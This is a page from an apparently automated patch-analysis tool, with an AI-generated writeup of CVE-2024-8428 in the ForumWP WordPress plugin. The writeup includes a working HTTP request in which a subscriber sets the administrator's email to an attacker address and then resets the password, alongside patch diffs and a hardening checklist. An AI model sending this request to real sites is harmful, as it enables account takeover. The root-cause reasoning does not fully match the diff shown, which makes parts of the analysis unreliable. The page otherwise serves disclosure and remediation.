ANALYSIS · 488f1dec· FINISHED 2026-06-13 · PATCHDIFF

forumwp2.0.2 → 2.1.0✓ COMPLETED

Files119

Vulnerable81

True positives0

CVE matched3

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2024-8428

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 119 CVE 3 Vuln 81

SORT

3 files · page 1/1

includes/frontend/class-actions-listener.php

AI: 10 vulnerabilities

CWE-20: Improper Input ValidationCWE-639: Authorization Bypass Through User-Controlled KeyCWE-601: URL Redirection to Untrusted Site ('Open Redirect') CVE-2024-8428

#%!d(float64=065)

includes/frontend/class-profile.php

AI: 1 vulnerabilities

CWE-20: Improper Input ValidationCWE-1025: Comparison Using Wrong Factors CVE-2024-8428

#%!d(float64=069)

templates/profile/notifications.php

AI: 1 vulnerabilities

CWE-639: Authorization Bypass Through User-Controlled Key CVE-2024-8428

#%!d(float64=104)

1–3 of 3

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2024-8428

Security writeup for CVE-2024-8428

✓ 3 FILES

## The Exploit

An authenticated subscriber-level user can change the email address—and by extension, reset the password—of any administrator account.

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-wordpress.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_[hash]=subscriber_session_token

action=fmwp_submit_form_handler
&form_type=edit-profile
&nonce=valid_nonce_value
&user_id=1
&user_email=attacker%40evil.com
&first_name=Pwned
&last_name=Admin
```

The attacker observes a 200 response with `success: true` and the admin email is now controlled by the attacker. The attacker then requests a password reset at `/wp-login.php?action=lostpassword`, receives the reset link at their controlled email inbox, and gains full administrative access.

## What the Patch Did

**Before**
```php
if ( empty( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'fmwp-registration' ) ) {
    $registration->add_error( 'global', __( 'Security issue, Please try again', 'forumwp' ) );
}
```

**After**
```php
if ( empty( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'fmwp-registration' ) ) {
    $registration->add_error( 'global', __( 'Security issue, Please try again', 'forumwp' ) );
}
```

The patch applies `sanitize_text_field( wp_unslash( $_POST['nonce'] ) )` consistently to all nonce verifications and, critically, wraps `user_id` and other profile fields with `absint()` before database operations and comparisons. The core fix is the introduction of a **strict type check** (`absint()` + `!==`) in the authorization gate at line 106 of `class-profile.php`, which ensures that `$user->ID` is cast to an integer before being compared against the current user's ID, closing a type-juggling bypass.

## Root Cause

**CWE-20: Improper Input Validation** combined with **CWE-639: Insecure Direct Object Reference (IDOR)**.

The `user_id` parameter enters via `$_POST['user_id']` in the AJAX handler `fmwp_submit_form_handler`. This value is passed directly to `get_userdata()` without prior sanitization or authorization check. The authorization logic at line 106 of `class-profile.php` performs a loose comparison (`$user->ID != get_current_user_id()`) that is vulnerable to type juggling: if `$user->ID` is retrieved and compared using a non-strict operator, a subscriber passing `user_id=1a` could potentially bypass the check depending on PHP's type coercion rules. The attacker crosses the trust boundary from "subscriber input" to "admin data modification" without any capability check or secondary authorization.

## Why It Works

The load-bearing line is `absint( $user->ID ) !== get_current_user_id()`. Removing it leaves the original `!=` comparison, which permits type coercion attacks. The engineer also added explicit `wp_unslash()` calls on all `$_POST` fields and sanitization on email, login, and name fields—these are defense-in-depth measures that prevent escape-sequence bypasses and ensure input hygiene. However, the strict type cast and strict comparison operator are the line that actually blocks the IDOR: once `$user->ID` is forced to an integer, it cannot be juggled into matching the subscriber's ID through string tricks, and the authorization check becomes reliable.

## Hardening Checklist

- **Add capability checks**: Before modifying any user's profile, call `current_user_can( 'edit_user', $user->ID )` to verify the logged-in user has explicit permission to edit that account.
- **Use `absint()` + strict comparison on all ID parameters**: Cast all user/post/term IDs to integers with `absint()` and use strict comparison (`===` / `!==`) to prevent type juggling bypasses.
- **Implement per-action nonce verification with scope**: Use `wp_verify_nonce()` with action-specific nonce names (e.g., `'edit-profile-' . $user->ID`) to prevent nonce reuse across different profile edit requests.
- **Sanitize and unslash all `$_POST` fields before use**: Apply `wp_unslash()` before `sanitize_*()` functions to handle magic quotes, and use `sanitize_email()`, `sanitize_user()`, and `sanitize_text_field()` for each field type.
- **Log privilege escalation attempts**: Add `error_log()` or a database audit table entry whenever a user attempts to modify another user's email or password, enabling detection of IDOR probing.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2024-8428

CVE CVE-2024-8428

PRODUCT forumwp

AFFECTED ≤ 2.0.2

FIXED IN 2.1.0

STATUS Generated

Security writeup · CVE-2024-8428

Source files · 3

includes/frontend/class-actions-listener.php Linked

includes/frontend/class-profile.php Linked

templates/profile/notifications.php Linked

↗ NVD